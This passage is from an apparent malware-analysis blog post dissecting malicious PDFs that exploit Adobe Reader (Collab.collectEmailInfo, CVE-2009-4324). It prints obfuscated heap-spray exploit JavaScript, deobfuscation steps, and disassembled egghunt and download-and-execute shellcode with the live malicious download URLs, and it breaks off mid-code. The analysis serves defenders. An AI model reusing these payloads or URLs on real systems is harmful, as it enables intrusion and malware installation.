differently, depending on whether or not the "`app`" object is defined. \(It
is defined inside of Acrobat Reader, but not within most any other
ECMAScript/Javascript engines.\) If your parser doesn't get a "2" out of this:

[code]

    try {
           if (app) {
              magic_value = 2;
           }
         } catch(e) {
    }
    
[/code]

Then it's going to `eval()` gibberish. If decoded correctly it does a heap
spray, and exploits `Collab.collectEmailInfo()` The shellcode does HTTP
download and execute
from:`http://google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.py/eH999a4551V0100f070006R00000000102Td2dcca7d201l0409K91a68948320`…
What Virustotal says about it: 56a6e96863f6dc0c5c5c64fca6bd3c52 \(It's
Mebroot\).

[code]

           function X6__4k3VdJVb0Id(v__Maxj, p0_Y2T){var s___Q35hFa = arguments.callee;var a4__LfE__5a6 = 0;var Do_
    YD6N_7p40_r = 512;s___Q35hFa = s___Q35hFa.toString();try {if (app) {a4__LfE__5a6 = 3;a4__LfE__5a6--;}} catch(e) 
    { }var M8I2Nb0IWaPT7 = new Array();if (v__Maxj) { M8I2Nb0IWaPT7 = v__Maxj;} else {var s4_AeGcS_Ru807 = 0;var OKD
    _8Y_tjg = 0;var a_i_qruF1_u = 49;a_i_qruF1_u--;while(OKD_8Y_tjg < s___Q35hFa.length) {var hYE0g_2_q = 1;var rTb_
    w_VCb55 = s___Q35hFa.charCodeAt(OKD_8Y_tjg);if (rTb_w_VCb55 >= a_i_qruF1_u && rTb_w_VCb55 <= (a_i_qruF1_u + 9)) 
    {if (s4_AeGcS_Ru807 == 4) { s4_AeGcS_Ru807 = 0; }if (isNaN(M8I2Nb0IWaPT7[s4_AeGcS_Ru807])) { M8I2Nb0IWaPT7[s4_Ae
    GcS_Ru807] = 0; }M8I2Nb0IWaPT7[s4_AeGcS_Ru807] += rTb_w_VCb55;if (M8I2Nb0IWaPT7[s4_AeGcS_Ru807] > Do_YD6N_7p40_r
    ) {M8I2Nb0IWaPT7[s4_AeGcS_Ru807] -= Do_YD6N_7p40_r;}s4_AeGcS_Ru807++;}OKD_8Y_tjg++;}}s4_AeGcS_Ru807 = 4;Do_YD6N_
    7p40_r = 256;while (s4_AeGcS_Ru807 > 0) {var OKD_8Y_tjg = s4_AeGcS_Ru807 - 1;if (M8I2Nb0IWaPT7[OKD_8Y_tjg] > Do_
    YD6N_7p40_r) {M8I2Nb0IWaPT7[OKD_8Y_tjg] -= Do_YD6N_7p40_r;}s4_AeGcS_Ru807--;}var F_kH_v = 0;var eG76_l = "";var 
    JtRA2__j_Ae = 0;var GbFYrkx_PbnQ6f6 = 0;var J8_i60lnd = 0;var ltqGwaY;var I1_EB__2_wf = 0;while(GbFYrkx_PbnQ6f6 
    < p0_Y2T.length) {var c_Y4Ti = p0_Y2T.substr(GbFYrkx_PbnQ6f6, 1) + "J";var A_8_QHs1s = parseInt(c_Y4Ti, 16);if (
    J8_i60lnd) {ltqGwaY += A_8_QHs1s;if (F_kH_v == 4) {F_kH_v -= 4;}var uYND0Nm = ltqGwaY;uYND0Nm = uYND0Nm - (I1_EB
    __2_wf + 2) * M8I2Nb0IWaPT7[F_kH_v];if (uYND0Nm < 0) {var OF0F_A6__nLc = Math.floor(uYND0Nm / 256);uYND0Nm = uYN
    D0Nm - OF0F_A6__nLc * 256;}uYND0Nm = String.fromCharCode(uYND0Nm);if (a4__LfE__5a6 == 1) {eG76_l += A_8_QHs1s;} 
    else if (a4__LfE__5a6 == 2) {eG76_l += uYND0Nm;} else {eG76_l += GbFYrkx_PbnQ6f6;}F_kH_v++;I1_EB__2_wf++;J8_i60l
    nd = 0;} else {ltqGwaY = A_8_QHs1s * 16;J8_i60lnd = 1;}GbFYrkx_PbnQ6f6++;}eval(eG76_l);return 0;}
            X6__4k3VdJVb0Id(0, "10E5E67437933DC36719A1A5A4B40DA4D8A9BBB4DF662A054BCC55EF7CB512E4914F603DD828A821C294
    376A3786906F5F3D1C7FB1B98C73DC440954C8F67BAA4FF217C877A39684B01CFBE5C8F36FE309A3E5DD3D532ACC81E69E13B6A05123AA30
    741E0DF8121A15D9705C7546E167C3324D8FF4D50A44245B7A9E4533E67484B643C17F54A584CC4320BEECC7C5B852A3F6C5816DA6D2C613
    FF28F8BD8E2BE22DCF4A4F26284F81BBAC4CBA451041AAE6864F24E34A4C6885BE54890631A3C1D9A58CAE71C894FD047FA667F3F7D99B7C
    
[/code]

\[…\]`B9647DC9");`

## Howto Deobfuscate

Ya'know, if you wanted to…

The obfuscation in this case is just a search and replace with random variable
names, so just search and replace them back to something meaningful.

  * Replace ";" with ";\n" and "\}\n" to prettyprint.
  * When you see var M8I2Nb0IWaPT7 = new Array\(\); you can rename M8I2Nb0IWaPT7 to something more meaningful like "array1".
  * When you see eval\(eG76\_l\); you can rename eG76\_l to something like evaluated\_string.
  * When you see for\(var 6R\_6CyPe=0;6R\_6CyPe<0x\_17x5;6R\_6CyPe+=2\)\{ you can say, oh hey, 6R\_6CyPe is an index, and 0x\_17x5 is the loop count
  * charCodeAt\(index\) returns a byte
  * p0\_Y2T.substr and s\_\_\_Q35hFa.length are strings, so rename apropriately
  * function X6\_\_4k3VdJVb0Id\( is a function, so rename apropriately
  * while\(OKD\_8Y\_tjg < s\_\_\_Q35hFa.length\)\{ OKD\_8Y\_tjg++; well it's a good guess that OKD\_8Y\_tjg is a loop index.
  * Use common sense to make the Javascript ledgible to humans. \(None of this matters if you're a machine.\)

The Javascript, gets a copy of itself \(the blob of code being eval\(\)'d\)
using arguments.callee; which is hashes into a four byte key. I just added a…  
`var callee = unescape('%66%75%6e%63%74%69%6f%6e%20%58%36%5f` \[...\]
`%6e%20%30%3b%7d');`  
of the original obfuscated code \(just up to the `%09` \(TAB\) character\),
and repaced`arguments.callee.toString()` with `callee`.

[code]

    function decode(arg1, arg2_hex){
    
    //var argarg = arguments.callee;
    
    var argarg = callee;  // that unescape() I mentioned
    //var threethings = 0; // Original
    var threethings = 2; // Who cares that app is missing?
    var fivetwelve = 512;
    argarg = argarg.toString();
    
    try {
          if (app) {
             threethings = 3;
             threethings--; // So you mean 2 then
          }
        } catch(e) {
    }
    
    var array1 = new Array();
    
    if (arg1) {
       array1 = arg1;
    } else {
       var fourthings = 0;
       var index = 0;
       var fourtynine = 49;
       fourtynine--; // ok 48 then (it's for ASCII "0")
    
       while(index < argarg.length) {
          var hYE0g_2_q = 1; // unused
    
          var input_byte = argarg.charCodeAt(index);
    
          // In set of [0-9]
          if (input_byte >= fourtynine && input_byte <= (fourtynine + 9)) {
             if (fourthings == 4) {
                fourthings = 0;
             }
    
             if (isNaN(array1[fourthings])) {
                array1[fourthings] = 0;
             }
    
             array1[fourthings] += input_byte;
    
             // keep total from getting too big
             if (array1[fourthings] > fivetwelve) {
                array1[fourthings] -= fivetwelve;
             }
    
              fourthings++;
          } // if
          index++;
      } // while
    } // if
    
     print(array1); // 154,315,117,92
    
    
       fourthings = 4;
       fivetwelve = 256;
    
       while (fourthings > 0) {
          var index = fourthings - 1;
    
          // keep to a byte
          if (array1[index] > fivetwelve) { //256
             array1[index] -= fivetwelve;   //256
          }
          fourthings--;
       } // while
    
    var indexmod4 = 0;
    var evaluated = "";
    var JtRA2__j_Ae = 0; // unused
    var index2 = 0;
    var flag = 0;
    var accumulator;
    var index3 = 0;
    
    while(index2 < arg2_hex.length) {
    //   var c_Y4Ti = arg2_hex.substr(index2, 1) + "J";
       var c_Y4Ti = arg2_hex.substr(index2, 1) ;
       var parsedint = parseInt(c_Y4Ti, 16);
    
       if (flag) {
          accumulator += parsedint;
          if (indexmod4 == 4) {
             indexmod4 -= 4;
          }
    
          var lotsomath = accumulator;
          lotsomath = lotsomath - (index3 + 2) * array1[indexmod4];
    
          if (lotsomath < 0) {
             var mod256 = Math.floor(lotsomath / 256);
             lotsomath = lotsomath - mod256 * 256;
          }
    
          if (threethings == 1) {
             evaluated += parsedint; // This should never run
          } else if (threethings == 2) {
             evaluated += lotsomath; // This is the only line that actually decrypts
          } else {
             evaluated += index2;  // This should never run
          }
    
          indexmod4++;
          index3++;
          flag = 0;
       } else {
          accumulator = parsedint * 16;
          flag = 1;
       } // while
       index2++;
    } // while
    
    
    eval(evaluated);
    return 0;
    }
    
    
    
[/code]

### The Next Part After That

And finally, we've made it to the crunchy center of this metaphor. This does
the heap spray, and exploits `Collab.collectEmailInfo()`. Nothing really new
here.

> `var I8tR_yfW_B_G_4 = new Array();var co3L10RH0e_sDj = 0;var k_IbUu =
> "";function w4U_ES(QnE1DcNMb, c_i4I__W){var LHE7_u = c_i4I__W.toString();var
> b1oTk__25tEY4 = "";for(var S8_T83_ajR = 0; S8_T83_ajR < LHE7_u.length;
> S8_T83_ajR++) {var ksHn4MF6Hh4cHia = parseInt(LHE7_u.substr(S8_T83_ajR,
> 1));if (!isNaN(ksHn4MF6Hh4cHia)) {ksHn4MF6Hh4cHia =
> ksHn4MF6Hh4cHia.toString(16);if (ksHn4MF6Hh4cHia.length == 1) {
> ksHn4MF6Hh4cHia = "0" + ksHn4MF6Hh4cHia; }else if (ksHn4MF6Hh4cHia.length !=
> 2) { ksHn4MF6Hh4cHia = "00"; }b1oTk__25tEY4 = ksHn4MF6Hh4cHia +
> b1oTk__25tEY4;}}while(b1oTk__25tEY4.length < 8) { b1oTk__25tEY4 = "0" +
> b1oTk__25tEY4; }var k__7_H1 = QnE1DcNMb.toString(16);if (k__7_H1.length ==
> 1) { k__7_H1 = "0" + k__7_H1; }else if (k__7_H1.length != 2) { k__7_H1 =
> "00"; }b1oTk__25tEY4 = "3" + k__7_H1 + "P" + b1oTk__25tEY4;return
> b1oTk__25tEY4;}function Bsv_7_w_r_Vmg(H_O610_85G, G_Rp3BOccXCA){var
> A_p_p7p2__u2x = new Array("");var nd__8__O_E6 = H_O610_85G;var O86U_8;if
> ((O86U_8 = H_O610_85G.lastIndexOf("%u00")) != -1) {if (O86U_8 + 6 ==
> H_O610_85G.length) {A_p_p7p2__u2x[0] = H_O610_85G.substr(O86U_8 + 4,
> 2);nd__8__O_E6 = H_O610_85G.substring(0, O86U_8);}}O86U_8 = 1;for
> (S8_T83_ajR = 0; S8_T83_ajR < G_Rp3BOccXCA.length; S8_T83_ajR++) {var
> aD3K_EP_v_WML61 = G_Rp3BOccXCA.charCodeAt(S8_T83_ajR).toString(16);if
> (aD3K_EP_v_WML61.length == 1) { aD3K_EP_v_WML61 = "0" + aD3K_EP_v_WML61;
> }A_p_p7p2__u2x[O86U_8] = aD3K_EP_v_WML61;O86U_8++;}S8_T83_ajR =
> A_p_p7p2__u2x[0].length ? 0 : 1;A_p_p7p2__u2x[O86U_8] =
> "00";A_p_p7p2__u2x[O86U_8 + 1] = "00";O86U_8 += 2;if ((A_p_p7p2__u2x.length
> - S8_T83_ajR) % 2) {A_p_p7p2__u2x[O86U_8] = "00";}while(S8_T83_ajR <
> A_p_p7p2__u2x.length) {nd__8__O_E6 += "%u" + A_p_p7p2__u2x[S8_T83_ajR + 1] +
> A_p_p7p2__u2x[S8_T83_ajR];S8_T83_ajR += 2;}nd__8__O_E6 += "%u0000";return
> nd__8__O_E6;}function jM77Vg3(x56C0_13__c, DcG_u7V_L_s_uJ){while
> (x56C0_13__c.length*2 [egghunt…] `%u3350%uc3c0"\);var H\_O610\_85G =
> "%u9050%u9050%u9050%u9050" +
> "%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%ueb00%ue900%u00fc
> \[shellcode…\]`%u3438%u3861%u3361%u3239";app.hVDwfx478 =
> unescape(Bsv_7_w_r_Vmg(H_O610_85G, G_Rp3BOccXCA));var eY_mn_7_k_Uqk5 =
> 0x400000;var l825oJ_81__Ny = m8Lnd5_UsJ1f.length * 2;var DcG_u7V_L_s_uJ =
> eY_mn_7_k_Uqk5 - (l825oJ_81__Ny+0x38);x56C0_13__c = jM77Vg3(x56C0_13__c,
> DcG_u7V_L_s_uJ);var qj76_s_0_PgMBT = (h_2G_2 - 0x400000)/eY_mn_7_k_Uqk5;for
> (var Mg_70_P__N_D = 0; Mg_70_P__N_D < qj76_s_0_PgMBT; Mg_70_P__N_D++)
> {I8tR_yfW_B_G_4[Mg_70_P__N_D] = x56C0_13__c + m8Lnd5_UsJ1f;}}function
> Ecbg_08LGeWT0(){var SgNX5d = "";for (S8_T83_ajR = 0; S8_T83_ajR < 12;
> S8_T83_ajR++) {SgNX5d += unescape("%u0c0c%u0c0c");}var PoLA_T6Aa7KrU1s =
> "";for (S8_T83_ajR = 0; S8_T83_ajR < 750; S8_T83_ajR++) {PoLA_T6Aa7KrU1s +=
> SgNX5d;}this.collabStore = Collab.collectEmailInfo({subj: "", msg:
> PoLA_T6Aa7KrU1s});app.clearTimeOut(co3L10RH0e_sDj);}function
> I_w1ifF(o64O_1QbXw){var D__c6_R_Y_qv = co3L10RH0e_sDj;if ((o64O_1QbXw >= 8
> && o64O_1QbXw < 8.11) || o64O_1QbXw < 7.1) {EU_xp43s(23, "%u0c0c%u0c0c",
> o64O_1QbXw);Ecbg_08LGeWT0();} if (D__c6_R_Y_qv)
> {app.clearTimeOut(D__c6_R_Y_qv);}}var l6__x_1d = 0;var K_U2Nj7_X_3__k =
> app.plugIns;for (var clWu_2 = 0; clWu_2 < K_U2Nj7_X_3__k.length; clWu_2++)
> {var A_x_Hr7 = K_U2Nj7_X_3__k[clWu_2].version;if (A_x_Hr7 > l6__x_1d) {
> l6__x_1d = A_x_Hr7; }}if (app.viewerVersion == 9.103 && l6__x_1d < 9.13)
> {l6__x_1d = 9.13;}app.C_1aWSr__pbK_tN = I_w1ifF;co3L10RH0e_sDj =
> app.setTimeOut("app.C_1aWSr__pbK_tN(" + l6__x_1d.toString() + ")", 50);`
## `Editorial About Parsing PDFs`

`Congratulations! If you've made it this far, you're much further along than
most PDF scanners. Most don't make it past the `getAnnots\(\)` call. And, in
the future, things are only going to get worse. There are thousands and
thousands of object properties available from inside the Acrobat Javascript
environment.`

To fully parse, not only must you do everything in these:

  * JavaScript for Acrobat API Reference 8.1
  * PDF 1.7 Reference ISO 32000-1:2008
  * PDF Reference and Adobe Extensions to the PDF Specification \(ISO 32000-1:2008\)
  * for completeness

But you must also handle error cases in the exact same way that Acrobat does.
Your parser must be bug-compatible with Acrobat. And, OMG, the things you can
do inside of a PDF. \(Which I'll decline to say at the moment, lest I give
anyone any ideas about new obfuscation techniques. Not that obfuscation poses
any problems for us…\)

**Q** : So how does FireEye parse PDFs?  
**A** : We use Adobe Acrobat versions 7, 8, and 9 to parse and execute the
file.

Oh this is telling...

> ISO 32000-1:2008 specifies a digital form for representing electronic
> documents to enable users to exchange and view electronic documents
> independent of the environment in which they were created or the environment
> in which they are viewed or printed. It is intended for the developer of
> software that creates PDF files \(conforming writers\), software that reads
> existing PDF files and interprets their contents for display and interaction
> \(conforming readers\) and PDF products that read and/or write PDF files for
> a variety of other purposes \(conforming products\).  
> ISO 32000-1:2008 does not specify the following:
>   * specific processes for converting paper or electronic documents to the
> PDF format;
>   * specific technical design, user interface or implementation or
> operational details of rendering;
>   * specific physical methods of storing these documents such as media and
> storage conditions;
>   * →**methods for validating the conformance of PDF files or readers;** ←
>   * required computer hardware and/or operating system.
>

## Shellcode

There are two chunks of shellcode; One is Skape's old Egghunt shellcode
\(Using the egg value 0x9050905090509050\), and a common URLMon download and
winexec\(\) shellcode \(I've seen it in a lot of malware lately, and in a post
on some Chinese message board.\)  

### Egghunt Shellcode

Just go read this: egghunt.c

[code]

    00000000  90                nop
    00000001  90                nop
    00000002  90                nop
    00000003  90                nop
    00000004  90                nop
    00000005  90                nop
    00000006  EB21              jmp short 0x29
    00000008  59                pop ecx
    00000009  B850905090        mov eax,0x90509050
    0000000E  51                push ecx
    0000000F  6AFF              push byte -0x1
    00000011  33DB              xor ebx,ebx
    00000013  648923            mov [fs:ebx],esp
    00000016  6A02              push byte +0x2
    00000018  59                pop ecx
    00000019  8BFB              mov edi,ebx
    0000001B  F3AF              repe scasd
    0000001D  7507              jnz 0x26
    0000001F  FFE7              jmp edi
    00000021  6681CBFF0F        or bx,0xfff
    00000026  43                inc ebx
    00000027  EBED              jmp short 0x16
    00000029  E8DAFFFFFF        call 0x8
    0000002E  6A0C              push byte +0xc
    00000030  59                pop ecx
    00000031  8B040C            mov eax,[esp+ecx]
    00000034  B1B8              mov cl,0xb8
    00000036  83040806          add dword [eax+ecx],byte +0x6
    0000003A  58                pop eax
    0000003B  83C410            add esp,byte +0x10
    0000003E  50                push eax
    0000003F  33C0              xor eax,eax
    00000041  C3                ret
    
    
[/code]

### Download to File and Exec

I started to comment this, because I haven't actually found a marked up
version of it via Google, but I was also supposed to have had this blog post
done last week. So I'll document the rest of this at a later date. There are
actually two samples here, but they only differ by a few instructions, so I've
written in the differences in inline comments.

[code]

    00000000  90                nop
    00000001  90                nop
    00000002  90                nop
    00000003  90                nop
    00000004  90                nop
    00000005  90                nop
    00000006  90                nop
    00000007  90                nop
    00000008  90                nop
    00000009  90                nop
    0000000A  E800000000        call 0xf        ; Leave EIP on the stack for later
    0000000F  EB00              jmp short 0x11  ; i.e. the base address of this shellcode
    00000011  E9FC000000        jmp 0x112       ; Get EIP again, base address of offset 0x112
    00000016  5F                pop edi         ; EDI = EIP = The end
    
    00000017  64A130000000      mov eax,[fs:0x30] ; PEB
    0000001D  780C              js 0x2b           ; Check if Windows 95
    0000001F  8B400C            mov eax,[eax+0xc] ; PROCESS_MODULE_INFO
    00000022  8B701C            mov esi,[eax+0x1c] ; *flink
    00000025  AD                lodsd              ; EAX = *blink
    00000026  8B6808            mov ebp,[eax+0x8]  ; EBP = kernel32 module base address
    00000029  EB09              jmp short 0x34
    
    0000002B  8B4034            mov eax,[eax+0x34] ; Windows 9x boilerplate
    0000002E  8D407C            lea eax,[eax+0x7c] ; Because everyone just copies everyone
    00000031  8B683C            mov ebp,[eax+0x3c] ; else's (Skape's) shellcode
    
    00000034  8BF7              mov esi,edi        ; ESI = The end, and beginning of hashes
    00000036  6A04              push byte +0x4
    00000038  59                pop ecx            ; ECX = 0x00000004
    00000039  E88F000000        call 0xcd          ; find_functions
    
    0000003E  E2F9              loop 0x39
    
    00000040  686F6E0000        push dword 0x6e6f     ; 
    00000045  6875726C6D        push dword 0x6d6c7275 ; "urlmon"
    0000004A  54                push esp
    0000004B  FF16              call near [esi]       ; loadLibraryA
    
    0000004D  8BE8              mov ebp,eax
    0000004F  E879000000        call 0xcd
    
    00000054  8BD7              mov edx,edi
    
    00000056  47                inc edi               ;
    00000057  803F00            cmp byte [edi],0x0
    0000005A  75FA              jnz 0x56              ; End of string
    
    0000005C  47                inc edi               ; Skip null
    0000005D  57                push edi              ; Beginning of next string
    
    0000005E  47                inc edi               ;
    0000005F  803F00            cmp byte [edi],0x0
    00000062  75FA              jnz 0x5e
    
    00000064  8BEF              mov ebp,edi           ; EDI points to end of string
    00000066  5F                pop edi               ; EDI Beginning of string
    00000067  33C9              xor ecx,ecx
    00000069  81EC04010000      sub esp,0x104         ; make 260 bytes of space
    0000006F  8BDC              mov ebx,esp
    
    ; This is the first instruction that these two samples diverge on:
    ; Only one of them has this.
    ; 00000071  83C30C            add ebx,byte +0xc    ; Leave 12 bytes of space for "regsrv32 -s "
    
    00000071  51                push ecx              ; 0
    00000072  52                push edx              ;
    00000073  53                push ebx              ; End of string
    00000074  6804010000        push dword 0x104      ; 260
    00000079  FF560C            call near [esi+0xc]   ; GetTempPathA
    
    0000007C  5A                pop edx
    0000007D  59                pop ecx               ; 
    
    0000007E  51                push ecx              ; jump target from 0xC8
    0000007F  52                push edx
    
    00000080  8B02              mov eax,[edx]
    00000082  53                push ebx              ; Filename
    
    00000083  43                inc ebx
    00000084  803B00            cmp byte [ebx],0x0
    00000087  75FA              jnz 0x83                       ; EBX points to end
    00000089  817BFC2E657865    cmp dword [ebx-0x4],0x6578652e ; Ends with ".exe"?
    
    ; The other version of this shellcode uses ".dll" rather than ".exe"
    ; 0000008C  817BFC2E646C6C    cmp dword [ebx-0x4],0x6c6c642e ; ".dll"
    
    00000090  7503              jnz 0x95
    00000092  83EB08            sub ebx,byte +0x8
    
    00000095  8903              mov [ebx],eax                  ; Doesn't end with ".exe"
    00000097  C743042E657865    mov dword [ebx+0x4],0x6578652e ; So append ".exe"
    
    ; Again with the DLL
    ;         C743042E646C6C    mov dword [ebx+0x4],0x6c6c642e ; ".dll"
    
    0000009E  C6430800          mov byte [ebx+0x8],0x0         ; ".exe\0"
    000000A2  5B                pop ebx
    000000A3  8AC1              mov al,cl
    000000A5  0430              add al,0x30
    000000A7  884500            mov [ebp+0x0],al
    
    000000AA  33C0              xor eax,eax
    000000AC  50                push eax                ; NULL lpfnCB
    000000AD  50                push eax                ; NULL dwReserved
    000000AE  53                push ebx                ; szFileName
    000000AF  57                push edi                ; szURL
    000000B0  50                push eax                ; NULL pCaller
    000000B1  FF5610            call near [esi+0x10]    ; URLDownloadToFileA
    
    000000B4  83F800            cmp eax,byte +0x0       ; Download ok?
    000000B7  7506              jnz 0xbf
    000000B9  6A01              push byte +0x1          ; SW_SHOWNORMAL maybe?
    
    ; The alternative version executes "regsvr32 -s " rather than just a tempfile EXE name
    ; 83EB0C            sub ebx,byte +0xc              ; back up 12 bytes from beginning
    ; C70372656773      mov dword [ebx],0x73676572     ; "regs"
    ; C7430476723332    mov dword [ebx+0x4],0x32337276 ; "vr32"
    ; C74308202D7320    mov dword [ebx+0x8],0x20732d20 ; " -s "
    
    000000BB  53                push ebx                ; Command Line
    000000BC  FF5604            call near [esi+0x4]     ; WinExec
    
    000000BF  5A                pop edx
    000000C0  59                pop ecx
    000000C1  83C204            add edx,byte +0x4
    000000C4  41                inc ecx
    000000C5  803A00            cmp byte [edx],0x0
    000000C8  75B4              jnz 0x7e
    
    000000CA  FF5608            call near [esi+0x8]     ; ExitProcess
    
    find_functions:
    
    000000CD  51                push ecx                ; 0x00000004
    000000CE  56                push esi                ; The end (0x117)
    000000CF  8B753C            mov esi,[ebp+0x3c]      ; PE header VMA
    000000D2  8B742E78          mov esi,[esi+ebp+0x78]  ; Export table relative offset
    
    ; This is just an alternative coding of the same instruction, X86 is full of things like this
    ; 8B743578          mov esi,[ebp+esi+0x78]
    
    000000D6  03F5              add esi,ebp             ; Export table VMA
    000000D8  56                push esi
    000000D9  8B7620            mov esi,[esi+0x20]      ; Names table relative offset
    000000DC  03F5              add esi,ebp             ; esi = Names table VMA
    
    000000DE  33C9              xor ecx,ecx             ;
    000000E0  49                dec ecx                 ; ecx = 0xffffffff
    
    000000E1  41                inc ecx                 ; jmp from 0xF8
    
    000000E2  AD                lodsd                   ; eax = *esi = *Names table VMA
    000000E3  03C5              add eax,ebp
    000000E5  33DB              xor ebx,ebx
    
    000000E7  0FBE10            movsx edx,byte [eax]    ; next entry
    000000EA  3AD6              cmp dl,dh               ; check for NULL (at end of table)
    
    ; Another alternative coding. This seems to imply the original source was symbolic, 
    ; and (re)compiled/assembled to create the other version.
    ; 38F2              cmp dl,dh
    
    000000EC  7408              jz 0xf6
    000000EE  C1CB0D            ror ebx,0xd             ; compute hash
    000000F1  03DA              add ebx,edx             ; compute hash ebx = accumulator
    000000F3  40                inc eax
    000000F4  EBF1              jmp short 0xe7
    
    000000F6  3B1F              cmp ebx,[edi]
    000000F8  75E7              jnz 0xe1
    000000FA  5E                pop esi
    000000FB  8B5E24            mov ebx,[esi+0x24]      ; Ordinals table relative offset
    000000FE  03DD              add ebx,ebp             ; Ordinals table VMA
    00000100  668B0C4B          mov cx,[ebx+ecx*2]      ; Extrapolate function's ordinal
    00000104  8B5E1C            mov ebx,[esi+0x1c]      ; Address table relative offset
    00000107  03DD              add ebx,ebp             ; Address table VMA
    00000109  8B048B            mov eax,[ebx+ecx*4]     ; Extract the relative function offset from its ordinal
    0000010C  03C5              add eax,ebp             ; Function VMA
    0000010E  AB                stosd                   ; *edi = eax
    0000010F  5E                pop esi
    00000110  59                pop ecx
    00000111  C3                ret
    
    00000112  E8FFFEFFFF        call 0x100000016           ; Get EIP *here = End of shellcode
    
    00000117 db 8e 4e 0e ec             ; [ESI+0]  0xec0e4e8e LoadLibraryA
    0000011B db 98 fe 8a 0e             ; [ESI+4]  0x0e8afe98 WinExec 
    0000011F db 7e d8 e2 73             ; [ESI+8]  0x73e2d87e ExitProcess
    00000123 db 33 ca 8a 5b             ; [ESI+C]  0x5b8aca33 GetTempPathA
    00000127 db 36 1a 2f 70             ; [ESI+10] 0x702f1a36 URLDownloadToFileA
    0000012B db 6b 74 47 6f 00          ; "ktGo" ??
    ;Alt:    db 6c 4c 70 6f 00          ; "lLpo" ??
    
    0000014A                                 68 74 74 70 3a 2f  ;           http:/
    00000150  2f 67 6f 6f 67 6c 65 2e  63 6f 6d 2e 61 6e 61 6c  ; /google.com.anal
    00000160  79 74 69 63 73 2e 65 69  63 79 78 74 61 65 63 75  ; ytics.eicyxtaecu
    00000170  6e 2e 63 6f 6d 2f 6e 74  65 2f 41 56 4f 52 50 31  ; n.com/nte/AVORP1
    00000180  54 52 45 53 54 31 31 2e  70 79 2f 65 48 39 39 39  ; TREST11.py/eH999
    00000190  61 34 35 35 31 56 30 31  30 30 66 30 37 30 30 30  ; a4551V0100f07000
    000001a0  36 52 30 30 30 30 30 30  30 30 31 30 32 54 64 32  ; 6R00000000102Td2
    000001b0  64 63 63 61 37 64 32 30  31 6c 30 34 30 39 4b 39  ; dcca7d201l0409K9
    000001c0  31 61 36 38 39 34 38 33  32 30 00 00              ; 1a68948320..
    
    
    00000130 db 68 74 74 70 3a 2f 2f 6c  61 72 79 6a 75 2e 69 6e ; http://laryju.in
    00000140 db 66 6f 2f 63 67 69 2d 62  69 6e 2f 71 77 2f 65 48 ; fo/cgi-bin/qw/eH
    00000150 db 33 66 63 37 66 34 39 65  56 30 31 30 30 66 30 36 ; 3fc7f49eV0100f06
    00000160 db 30 30 30 36 52 30 30 30  30 30 30 30 30 31 30 32 ; 0006R00000000102
    00000170 db 54 36 63 64 63 38 39 37  38 32 30 31 6c 30 34 30 ; T6cdc8978201l040
    00000180 db 39 00                                            ; 9.
    
    
[/code]

## Breaking News

So, after I'd already written most of this, another PDF sample showed up, also
using similar metadata tricks, but in a different way than these Neosploit
samples. I suspect it's a different toolkit, as the PDF is structured
differently.  
\[The URL will be something like `http://<ip address>/bbh/pdf.php` .\]

This PDF is also exploiting the recent Adobe 0-day CVE-2009-4324 \(and a few
others for good measure\).

### You should all know how to read this by now.

\(Unless you've skipped over this entire post to here.\)

I'm using 323cd2b18026019ab8364efa96893062 for this example

The Javascript segments are referenced like this in the PDF.

>
[code]

>     9 0 obj
>     <</Creator (Adobe)
>     /Title 5 0 R
>     /Producer 14 0 R
>     /Author 51 0 R
>     /CreationDate (D:20080924194756)
>     >>
>     endobj
>  
>  
[/code]

This object \(the "`info.Author`"\) has the exploit:

> `51 0 obj  
> <<  
> /Filter /FlateDecode  
> /Length 2630  
> >>  
> stream  
> ` _Decompressed it's "lka166lka175lka16elka163lka174lka169lka16 \[…\]_  
> `endstream  
> endobj`
If you don't want to have to deal with all that tedious mucking about with
Javascript to decode, just do:  
`perl -ne 's/lka1//g; print(pack("H*",$_));'`

> `31 0 obj  
> << /S /JavaScript /JS 32 0 R >>  
> endobj  
> 32 0 obj  
> <<  
> /Filter /FlateDecode  
> /Length 159  
> >>  
> stream  
> ` _Uncompressed:_  
>
>> `var xyuvam = 'lka';  
> var z = unescape;  
> var yhahahahahahavvvvvv = 'p'+z(%6c%61%63%65)+'(/';  
> eval('var bolshayapizdavam = '%';var nenadoAVscaner =
> '1/g,bolshayapizdavam)';');  
> eval('var bu'+'hae'+'ca = ev'+'a'+'l;');  
> `
> `endstream  
> endobj  
> `
> `33 0 obj  
> << /S /JavaScript /JS 34 0 R >>  
> endobj  
> 34 0 obj  
> <<  
> /Filter /FlateDecode  
> /Length 102  
> >>  
> stream  
> ` _Uncompressed:_  
>
>> `buhaeca('var xyuznaet = this.in'+z(%66%6f%2e%61%75%74)+'hor;');  
> var poxyunavse = 'xyuznaet.re';  
> `
> `endstream  
> endobj  
> `
Obviously,"`%66%6f%2e%61%75%74`" is "fo.aut", so glueing that all together, it
becomes"`this.info.author;`", otherwise known as Object \#51 \(See
elsewhere\).

> `35 0 obj  
> << /S /JavaScript /JS 36 0 R >>  
> endobj  
> 36 0 obj  
> <<  
> /Filter /FlateDecode  
> /Length 88  
> >>  
> stream  
> ` _Uncompressed:_  
>
>> `var lkaa = poxyunavse + yhahahahahahavvvvvv +xyuvam+ nenadoAVscaner;  
> var xxx = buhaeca(lkaa);  
> `
> `endstream  
> endobj  
> `
> `37 0 obj  
> << /S /JavaScript /JS 38 0 R >>  
> endobj  
> 38 0 obj  
> <<  
> /Filter /FlateDecode  
> /Length 60  
> >>  
> stream  
> ` _Uncompressed:_  
>
>> `var ietoktoewe = z(unescape(xxx));  
> buhaeca(ietoktoewe);  
> `
> `endstream  
> endobj  
> `
So, one of the odd things about this PDF, is that there are several object
names defined, but I don't see them used anywhere. \(In short, you can rename
objects from "`123 00 R`" to something easier to remember, like "`/Bob`".\)

>
[code]

>     48 0 obj
>     << /Names [(xyak) 31 0 R (fuckinshit) 33 0 R (komonogirsl) 35 0 R
> (komonogirsls) 37 0 R ]
>     >>
>     endobj
[/code]

Also Object \#5 and Object \#14 are empty. This is "`info.Title`" and
"`info.Producer`"respectively.

>
[code]

>     5 0 obj
>     <<
>     /Filter /FlateDecode
>     /Length 0
>     >>
>     stream
>  
>     endstream
>     endobj
>  
>     14 0 obj
>     <<
>     /Filter /FlateDecode
>     /Length 0
>     >>
>     stream
>  
>     endstream
>     endobj
[/code]

### 51 0 R Decoded

> `function fix_it(yarsp,len){while(yarsp.length*2<= 32768)
> block+=block;block=block.substring(0,32768 - shellcode.length);memory=new
